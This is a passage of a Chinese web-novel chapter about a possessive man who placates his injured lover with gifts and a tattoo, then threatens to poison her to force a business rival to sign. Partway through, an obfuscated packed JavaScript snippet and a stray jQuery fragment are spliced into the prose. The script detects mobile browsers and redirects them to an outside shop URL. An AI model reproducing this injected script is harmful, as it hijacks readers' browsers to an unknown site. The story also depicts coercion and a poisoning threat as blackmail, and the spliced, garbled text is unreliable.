挡风玻璃上全是斑驳水迹,根本看不清前路。
今夜没下雨。
应劭霖低头看怀里的人,笑了笑,把她耳边碎发拨开。
打开雨刷器,降下窗户,胳膊搭在车门,他惬意地吹风。
远处,夜风把海面吹得弯曲,他怀抱着小舒,她像株含羞草缩在他怀里昏睡。
等玻璃擦干净,他给她放回副驾驶,系好安全带,开车下山。
快到地方时,她睫毛颤了颤,应劭霖转头望去,小舒睁开了眼,短暂迷离过后,她也望向了他。
他问:“醒了?我们快到家了。”
她没说话,静静地看着他,没一会儿眼睛又闭上了。
车停好,他光着膀子抱她回房间,该洗澡洗澡,该上药上药。
都忙完了,应劭霖穿戴整齐,回到她床边,俯身亲吻她。
他也不确定她是早醒了,还是没睡熟。他闭眼刚亲完,女孩的眼睛就睁开了。
屋里灯他都关了,窗帘密不透光。
在黑暗中,应劭霖听见她微弱声音问:“你是不是为了做这个才回来找我的?”
他扶着她肩膀沉默了。
而问完这句话,小舒头一转,疲惫得继续睡了。
现在才两点多,无论是回公司还是去索菲那里,他都来得及。
左思右想后,应劭霖脱掉衣服,躺到了她身边。
他把她搂到自己臂弯里,对着她紧闭的长睫,想今晚:她双手搭在他肩膀接吻,目光含情似在抚摸他的脸,双眸柔亮如水,爱意清澈可鉴。
男人看着怀里熟睡的人,话一不留神从嘴边溜了出来:“我也爱你。”
她听不见,更没有回应。
愣怔几秒后,他捧起她的脸颊又亲了好一会儿,抱着她闭眼深睡几小时。
早上六点,应劭霖故意拨弄她睫毛,让她睁眼看看他因为她在家待了一夜。
睫毛痒得难受,江凌舒抬手揉了一下,眼睛半睁半合,看见身边有人,她胳膊伸过去就要抱他。
“醒了?”应劭霖把她胳膊放回去,捏着她脸说:“不抱了。抱一晚上了,我要去上班了。”
她轻哼了一声,听话地把手撤回来,翻身换个姿势睡。
“我话还没说完呢。”
应劭霖又把人翻过来,捏着她下巴晃了晃,让她睁眼。
小舒睁眼,眼神依然迷怔。
等到他舌尖碰到她嘴唇,她睫毛眨眨,目光瞬间清澈了。
她推他说“不行”,她还没刷牙。
胳膊一用力,江凌舒发现她浑身肌肉酸乏,四肢无力,像绑了沙袋在身上,把她重重地往下坠。有些地方更是酸痛难受。
她好累,推他的力气都没有,眼睁睁看着他将她嘴唇吻了个遍。
亲够了,应劭霖松开她,观察她神情,他体贴地问:“药我帮你涂过了,还要请医生吗?”
小舒摇摇头。
“那继续睡吧。”他摸摸她脑袋,“睡醒给我打电话。晚上等我回来。”
她点头,还是没有说话,嘴巴闭合,睫毛微垂着,像只略显呆滞的人偶。
应劭霖熟悉她这表情,她在思考。小脑袋瓜里想什么,他也能猜到几分。
他对她笑了笑,温柔地说:“我爱你。戒指收好,晚上见。”
戒指。
经他一提醒,江凌舒想起来,她昨晚收下了他送的戒指。
他说这是Anna阿姨留给他的,他很早之前就在上面刻了她的名字。
他还说,他的戒指只会送给她一个人。
江凌舒靠着床头,盯着戒指看了一会儿,把它放回盒子里,她蒙头继续睡觉了。
誓言在一个女人心里生效的条件是她本身就愿意。多了一句甜蜜的誓言,她的愿意就会变成乐意。
应劭霖拿准了这一点,他知道他几句话就能把人哄开心,是因为小舒心里有他,她爱他、依赖他,但不代表他能一直把她当傻子戏耍。
他两次肆意玩弄她,她已经感到不舒服了,昨晚才会问出那句话。
这么多年,Ceci就是他鱼缸里的鱼,他不需要时时刻刻关注她,她游来游去也翻不出什么花样。
但这两天不行,应劭霖捏着手机想,明天他还得带她跟凌乔见面。
他们俩有一点不合,都可能会被凌乔钻空子。
所以昨晚上他搂着她睡觉,顺便计划好怎么哄她了。
他要她等他回家,深夜到家时,她果然点着盏灯还在看书。
应劭霖看见映在墙面上的澄黄灯光,心里已经笑了,他知道今晚十拿九稳。
他把卧室的两扇门都打开,半人高的花束,他自己搬到她床边。
花束中间有一个华丽的礼盒,盒盖开着,里面是一顶钻石冠冕,和那枚戒指一样,只由红宝石和钻石镶嵌。
小舒穿睡衣坐在床上,愣愣地看着。
应劭霖把礼物取下来,给她放到腿上,问她:“喜欢吗?”
“嗯。”
江凌舒看了两眼,抬头问:“为什么又送礼物?”
“这不是礼物,这是我的梦想。”
男人把冠冕拿出来,小舒这才看清它还挂着一层白纱,柔软的蕾丝白纱,是婚礼上新娘披的那种。
他将冠冕戴到她头顶,白纱自然下垂,遮住一张俏脸。
隔着一层白雾似的纱,他深情熠亮的目光从雾里透出来,面上一阵轻风拂过,江凌舒看着他的脸钻入白纱来亲吻她。
一个蜻蜓点水、不带任何侵/略意味的吻。
柔软的唇瓣相触,温热呼吸交缠一瞬便分开,再没其他动作。
他目光灼灼地望着她,眼睛格外明亮,柔情满溢,喁喁私语道:“这个吻我在梦里练习过无数次了,Ceci,我真的好爱你。”
他点到为止,没说过多的甜言蜜语,低沉温柔的嗓音承载了所有爱意。
他们互相对望,像凝在了时间的琥珀中。
应劭霖用手抚摸她的脸庞,触碰她的肌肤,手指尖都在颤.抖。
他眼神动作流露出兴奋和幸福,也有梦想憧憬被满足后的无措与惶然。
——让人没法不动容。
江凌舒掀开头纱,双手捧着他的脸,吻住了他。
被亲吻的人第一时间没有回应,仿佛恍惚了一会儿,他才扣住她脖颈,加深这个吻。
“我还有个真正的礼物要送你。”
绵长的一吻过后,应劭霖牵起她的手,放到自己衬衫扣子上,带领着她解开他的扣子。
小舒抿了下嘴唇,长睫一垂,想到什么,她不太情愿想收回手。
他硬是捉着她手,把一排扣子全都解开,坚实的胸膛露出来,麦色的胸肌连同下面的腹肌,块垒分明,皮//肉紧实完美,无可挑剔。
可女孩别开眼,不想看他。
这都不看?看来他这两次是有点玩过了。应劭霖心里感叹。
他脱掉衬衫,换上祈求的语气:“小舒,看我一眼。”
“有什么好看的。”江凌舒小声嘀咕。
她非常不满他昨晚的出尔反尔。
穿上衣服和脱下衣服,转眼间,他就变成了另一个人——一个轻浮浪/荡,极情纵/欲的坏蛋。
她甚至感觉,他的“行为”没有他口中说的那么爱她。
“真的不看?真的?”
男人一连问了三遍,她轻飘飘撇过去一眼。
他露出的胳膊,红肿了一大片,黑色的结痂看着很吓人。
“这怎么弄的?”江凌舒急忙凑过去瞧。
她一低头,钻石冠冕掉下来恰好砸他脸上。
应劭霖捡起来给它扔一边,跟她讲:“是纹身,我今天纹的。”
他握住小舒肩膀,让她面对面看着自己:“你记不记得,小时候,你在我胳膊上写字?”
江凌舒盯着他上臂几个黑色的字母。她记得。她当然记得。
应劭霖笑说:“那时候你读萨福的诗,说我是‘最高枝头上的苹果’,用记号笔在我胳膊上写“Der apfel(苹果)。我洗了一周都没洗掉。”
“昨晚你躺在我怀里,我忽然想起了这件事,今天找纹身师把它刻到了胳膊上。”
“Ceci,我的意思是,以后你每晚都可以枕着你的‘苹果’睡觉。不用担心够不到。”
他上前捧住她的脸,额头贴上她的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707510|205621||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“Dear Ceci,you own me,I'm all yours.”
她张嘴,嘴唇颤动,说不出话。纹身不是记号笔,刻进皮肤里,就再也洗不掉了。
看着他皮肤上浮雕一般凸起来的字,江凌舒想碰,又不敢伸手,小声问他:“疼吗?”
“不疼。这句话该我问你。”趁着她感动得落泪,应劭霖赶紧道歉:“对不起,Ceci,昨天我又没控制住自己。”
他懊恼道:“不知道为什么,每次你在我身边,我就忍不住想和你亲昵,我想一直一直和你贴在一起,永远都不分开。我,我真的控制不了。
“昨晚看见你的伤,我后悔了一夜。我一夜都没合眼,在想该怎么道歉,该怎么跟你赔罪。”
“小舒,我知道错了,我保证没有下次了。”
他低头亲吻她手指,真诚发誓:“应该说在得到你允许之前,没有下次了。你不同意我就不碰你
“但接吻不算在内,要是不让我亲你,那你现在就杀了我吧。”
应劭霖笑着把她手放到自己脖子上。
看他闭眼,一脸“慷慨赴死”的表情,江凌舒被逗得抿嘴笑起来。
“高兴了?原谅我了吗?”
“嗯。最后一次。”
“谢谢宝贝。”应劭霖亲她一口,脱掉外衣,进被窝里搂紧她,让她柔软的身体贴着自己。
小舒对他的新纹身很好奇,问了他不少问题。
说到洗澡时,应劭霖提出:“我这里不能碰水,最近你得帮我洗。”
江凌舒看着他笑,摇头,不上当:“你可以贴防水贴。”他是纹身,又不是受伤了。
“这么无情。那换一个。”他勾起她头发,缓缓道:“明天陪我去上班吧,Ceci。我不想和你分开,一刻都不想。”
“可以。”反正她在家也没什么忙的。小舒欣然同意了。
不过他上班时间总是很早,被他掀开被窝拎起来时,小舒困得直揉眼。
到地方,她眼睛还困得水肿,双眼皮都多出一个褶。
应劭霖把她先扔休息室,让她接着睡。
他办公,等着上午九点和凌乔见面。
凌乔也习惯晨起健身。洗漱后,他选了一套暗纹西服,搭配看起来更活泼的红色领带。
他还戴了两枚戒指,不是为了摆阔,别有他用。
对方让他坐直升机在公司顶楼落地,他没有机会完整参观他的公司。
但近些天的调查问询,凌乔清楚,那个年轻人是个绝顶聪明、能力超群的人才,可惜他恶劣的人品又完全抵消了这些优点。
进到他安排好的会议室,凌乔注意到正中间的大屏幕,正在播放一段颜色老旧的录像。
画面里是小女孩在弹钢琴,她坐在椅子上,脚都够不到地面,大人给她加了脚踏凳,两只胖乎乎的小手在琴键上游刃有余地弹练习曲。
她转头喊“妈咪”。
凌乔心脏一动,看见纤瘦身影走过去,不等女人转身,画面一转,背景换成了办公室。
他不久前看见的女孩,她坐在办公室的沙发上,手里摆弄一个木质的解谜玩具。
身后门一扇动,男人走进来,跟他打招呼:“来得很早,Joey总。”
应劭霖把一叠文件扔到他面前,在他对面坐下:“这是合作项目书,你兜里有笔,可以签字了。”
凌乔摇头,也坐下说:“我不是来跟你谈公事的——”
别说话。
应劭霖给他比了个手势,叫了个人进来。
那人把托盘放到他俩中间,是一杯橙汁,旁边还有一个矮胖的棕色玻璃瓶。
“这是非洲牛角瓜提取液,含强心甙,有剧毒。”
他给他介绍完,打开瓶子倒了一半到果汁里。
凌乔蹙眉看着他。
果汁又被人端出去,没两分钟,出现在了屏幕里女孩的手边。
凌乔难以置信地站立起来。
应劭霖眼都没眨,微笑说:“你不签字,我就毒死她。
“虽然你错过了Ceci的出生,但没关系,这盘录像带你可以拿走,余生随时随地都能欣赏她的死亡。”